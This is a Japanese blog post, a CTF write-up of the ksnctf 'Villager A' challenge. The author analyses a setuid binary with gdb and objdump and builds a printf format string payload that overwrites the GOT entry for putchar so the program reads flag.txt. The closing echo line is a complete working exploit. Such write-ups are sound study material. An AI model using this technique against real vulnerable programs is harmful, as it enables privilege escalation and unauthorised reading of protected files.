ksnctf Villager A

初めまして、b1u3です。初めてブログを書くわけですが、挨拶や自己紹介が面白くなりそうもないのでさっさと本題に入りたいと思いますw あ、希望があれば挨拶、自己紹介書きますよ?

ノートパソコンをやっと買えたので、本格的にctfを始めようと思ってksnctfやり始めました。1番から順番にやっていったのですが4番で時間がかかったので今日はこれについてやったこと調べたことを書いていきます。

まず書いてある通りにsshでログイン。

ssh ctfq.sweetduet.info -l q4 -p 10022

とりあえずls。

[q4@localhost ~]$ ls -l
合計 16
-r--------. 1 q4a  q4a    22  5月 22 02:12 2012 flag.txt
-rwsr-xr-x. 1 q4a  q4a  5857  5月 22 11:21 2012 q4
-rw-r--r--. 1 root root  151  6月  1 04:47 2012 readme.txt

flag.txtに書いてあるんだろうなと察しがつくよね。でも所有者しか読めないから、放置。先にreadme読む。

[q4@localhost ~]$ cat readme.txt
You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.

色々制約が書いてある。ほ〜ん。じゃあ、q4実行。

[q4@localhost ~]$ ./q4
What's your name?
aaaa
Hi, aaaa

Do you want the flag?
yes
Do you want the flag?
hai
Do you want the flag?
aaaa
Do you want the flag?
no
I see. Good bye.

フラグが欲しいんですけど(半ギレ)
stringsでヒント探し。

[q4@localhost ~]$ strings ./q4
/lib/ld-linux.so.2
libstdc++.so.6
__gmon_start__
_Jv_RegisterClasses
__gxx_personality_v0
libm.so.6
libgcc_s.so.1
libc.so.6
_IO_stdin_used
fopen
puts
putchar
stdin
printf
fgets
strcmp
__libc_start_main
CXXABI_1.3
GLIBC_2.1
GLIBC_2.0
PTRh
[^_]
What's your name?
Hi, 
Do you want the flag?
I see. Good bye.
flag.txt

中でfopenでflag.txtを開いてるのかなと妄想。
詰まったのでgdb。mainを逆アセンブル

[q4@localhost ~]$ gdb -q ./q4
Reading symbols from /home/q4/q4...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080485b4 <+0>:	push   %ebp
   0x080485b5 <+1>:	mov    %esp,%ebp
   0x080485b7 <+3>:	and    $0xfffffff0,%esp
   0x080485ba <+6>:	sub    $0x420,%esp
   0x080485c0 <+12>:	movl   $0x80487a4,(%esp)
   0x080485c7 <+19>:	call   0x80484c4 <puts@plt>
   0x080485cc <+24>:	mov    0x8049a04,%eax
   0x080485d1 <+29>:	mov    %eax,0x8(%esp)
   0x080485d5 <+33>:	movl   $0x400,0x4(%esp)
   0x080485dd <+41>:	lea    0x18(%esp),%eax
   0x080485e1 <+45>:	mov    %eax,(%esp)
   0x080485e4 <+48>:	call   0x8048484 <fgets@plt>
   0x080485e9 <+53>:	movl   $0x80487b6,(%esp)
   0x080485f0 <+60>:	call   0x80484b4 <printf@plt>
   0x080485f5 <+65>:	lea    0x18(%esp),%eax
   0x080485f9 <+69>:	mov    %eax,(%esp)
   0x080485fc <+72>:	call   0x80484b4 <printf@plt>
   0x08048601 <+77>:	movl   $0xa,(%esp)
   0x08048608 <+84>:	call   0x8048474 <putchar@plt>
   0x0804860d <+89>:	movl   $0x1,0x418(%esp)
   0x08048618 <+100>:	jmp    0x8048681 <main+205>
   0x0804861a <+102>:	movl   $0x80487bb,(%esp)
---Type <return> to continue, or q <return> to quit---
   0x08048621 <+109>:	call   0x80484c4 <puts@plt>
   0x08048626 <+114>:	mov    0x8049a04,%eax
   0x0804862b <+119>:	mov    %eax,0x8(%esp)
   0x0804862f <+123>:	movl   $0x400,0x4(%esp)
   0x08048637 <+131>:	lea    0x18(%esp),%eax
   0x0804863b <+135>:	mov    %eax,(%esp)
   0x0804863e <+138>:	call   0x8048484 <fgets@plt>
   0x08048643 <+143>:	test   %eax,%eax
   0x08048645 <+145>:	sete   %al
   0x08048648 <+148>:	test   %al,%al
   0x0804864a <+150>:	je     0x8048656 <main+162>
   0x0804864c <+152>:	mov    $0x0,%eax
   0x08048651 <+157>:	jmp    0x80486dc <main+296>
   0x08048656 <+162>:	movl   $0x80487d1,0x4(%esp)
   0x0804865e <+170>:	lea    0x18(%esp),%eax
   0x08048662 <+174>:	mov    %eax,(%esp)
   0x08048665 <+177>:	call   0x80484e4 <strcmp@plt>
   0x0804866a <+182>:	test   %eax,%eax
   0x0804866c <+184>:	jne    0x8048681 <main+205>
   0x0804866e <+186>:	movl   $0x80487d5,(%esp)
   0x08048675 <+193>:	call   0x80484c4 <puts@plt>
   0x0804867a <+198>:	mov    $0x0,%eax
   0x0804867f <+203>:	jmp    0x80486dc <main+296>
---Type <return> to continue, or q <return> to quit---
   0x08048681 <+205>:	mov    0x418(%esp),%eax
   0x08048688 <+212>:	test   %eax,%eax
   0x0804868a <+214>:	setne  %al
   0x0804868d <+217>:	test   %al,%al
   0x0804868f <+219>:	jne    0x804861a <main+102>
   0x08048691 <+221>:	movl   $0x80487e6,0x4(%esp)
   0x08048699 <+229>:	movl   $0x80487e8,(%esp)
   0x080486a0 <+236>:	call   0x80484a4 <fopen@plt>
   0x080486a5 <+241>:	mov    %eax,0x41c(%esp)
   0x080486ac <+248>:	mov    0x41c(%esp),%eax
   0x080486b3 <+255>:	mov    %eax,0x8(%esp)
   0x080486b7 <+259>:	movl   $0x400,0x4(%esp)
   0x080486bf <+267>:	lea    0x18(%esp),%eax
   0x080486c3 <+271>:	mov    %eax,(%esp)
   0x080486c6 <+274>:	call   0x8048484 <fgets@plt>
   0x080486cb <+279>:	lea    0x18(%esp),%eax
   0x080486cf <+283>:	mov    %eax,(%esp)
   0x080486d2 <+286>:	call   0x80484b4 <printf@plt>
   0x080486d7 <+291>:	mov    $0x0,%eax
   0x080486dc <+296>:	leave  
   0x080486dd <+297>:	ret    
End of assembler dump.

直接fopenまで飛んでみる。流れとしてはブレークポイント(b)をmainの初めに置いて停止させてpcにfopenに引数をセットしてるアドレス(0x08048691)を設定してコンティニュー。

(gdb) b main
Breakpoint 1 at 0x80485b7
(gdb) r
Starting program: /home/q4/q4 

Breakpoint 1, 0x080485b7 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686 libgcc-4.4.7-17.el6.i686 libstdc++-4.4.7-17.el6.i686
(gdb) set $pc=0x08048691
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00237ec5 in fgets () from /lib/libc.so.6

そうしたら、fgetsでセグメンテーションフォールト出た。現実は厳しいなぁ(小並感)
ここでfgetsの引数確認してみた。んでちまちま確認していったらfopenでなぜか知らんが返り値がNULLだった。ここでググったらsetuidが効かないらしいのね、gdbだと。
手詰まり。かと思いきや途中でprintfを呼び出していることに気づいた。もう一回q4を起動させて検証する。

[q4@localhost ~]$ ./q4
What's your name?
aaaa,%x,%x,%x,%x      
Hi, aaaa,400,3018c0,8,14

Do you want the flag?
no
I see. Good bye.

最初のfgetsで標準入力から読み込んだものをprintfに直接渡して出力しており、ASLR
が無効になっているので書式文字列攻撃ができる。あれ、こんな名前だったっけ。gdb使うとsetuidが効かないのでgdbを使わずにfopenに行く方法を考える。今回は本に書いてあったGOToverwriteが使えるみたい。このGOTっていうのはGOT overwriteは簡単にいうと共有ライブラリを呼び出すときに使うジャンプルーチンの先をその関数じゃない別の場所に変えてしまおうっていう話。今回は結果としてprintf直後のputcharをのジャンプ先を変えてfopenの手前に着地させることになった。
先に読み書き実行可能なセクションを逆アセンブルしてputcharのジャンプ先を調べる。さっきのprintfは%xが少なかったので多くしてやった。

[q4@localhost ~]$ objdump -d ./q4
~略~
08048474 <putchar@plt>:
 8048474:	ff 25 e0 99 04 08    	jmp    *0x80499e0
 804847a:	68 08 00 00 00       	push   $0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <_init+0x30>
~略~

これより0x080499e0の値を任意のアドレス(もちろん実行可能な)に書き換えれば優勝できる。間違えた、そのアドレスに飛べる。そんで、書き込み方について、さっきは%xが少なかったので多くして実行。

[q4@localhost ~]$ ./q4
What's your name?
aaaa,%x,%x,%x,%x,%x,%x,%x
Hi, aaaa,400,47c8c0,8,14,e68fc4,61616161,2c78252c

Do you want the flag?
no

上からprintfの7個目の引数の位置に1番目の引数の内容が書かれていることがわかる。あ、あと、aを4つにしたのはfileコマンドでELF 32-bit(Executable Linking Format)だったのでアドレスの大きさに合わせた方がうまくいけば見やすいため。こっからは僕は一気にやったんだけど後で見たらこんがらがりそうなので細かく書いていく。
まず、aaaaを書き込みたいアドレスに変えたいので印字できない数字を入力するためにechoを使う。

[q4@localhost ~]$ echo -e '\xe0\x99\x04\x08%x,%x,%x,%x,%x,%x,%x' | ./q4
What's your name?
Hi, ?400,4b78c0,8,14,68bfc4,80499e0,252c7825

Do you want the flag?

これで書き込む先の指定は完了。次にどんな数字を書き込むかを指定する。printfは%n(4バイト書き込み)%hn(2バイト書き込み)%hhn(1バイト書き込み)で印字した文字数をメモリに書き込むことができるのでそれを使う。ちなみに残念ながらC11っていうCのコーディング規約とか色々標準を決めたりするやつで%nは廃止されてるから使う機会は減ってくと思う。てか色々なセキュリティ機構が実装されてきてるし新しいのを探してかなきゃね...話が脱線しそうになったけど、うん、書き込んでく。
えぇっと、0x08499e0にfopenの少し前の0x08048691を書き込みたいので、リトルエンディアンを考慮してメモリの配置は

0x08499e0:0x91
0x08499e1:0x86
0x08499e2:0x04
0x08499e3:0x08

また、%n系は%k$n(kは整数)で書き込むメモリを指定できる。今回はスペースの数が少なくなるように%k$hhnで最終的なコマンドを構成する。んで、計算して出したのが

echo -e "\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6\$hhn%245c%7\$hhn%126c%8\$hhn%4c%9\$hhn" | ./q4

これは何やってるのかというとさっきのaaaaのところだけでなくその次のところでもアドレスを指定するのに使ってて、%c印字文字数を稼ぐ。溢れた桁は無視されるので順番に計算していっておしまい。$をエスケープするのを忘れないようにね。最後、投げやりになったけどこんなもんかね。てかコミケ楽しかった(小並感)あと、ブログこんなめんどくさいとは思わなんだ。次は短いのを書こう。それではよいお年を。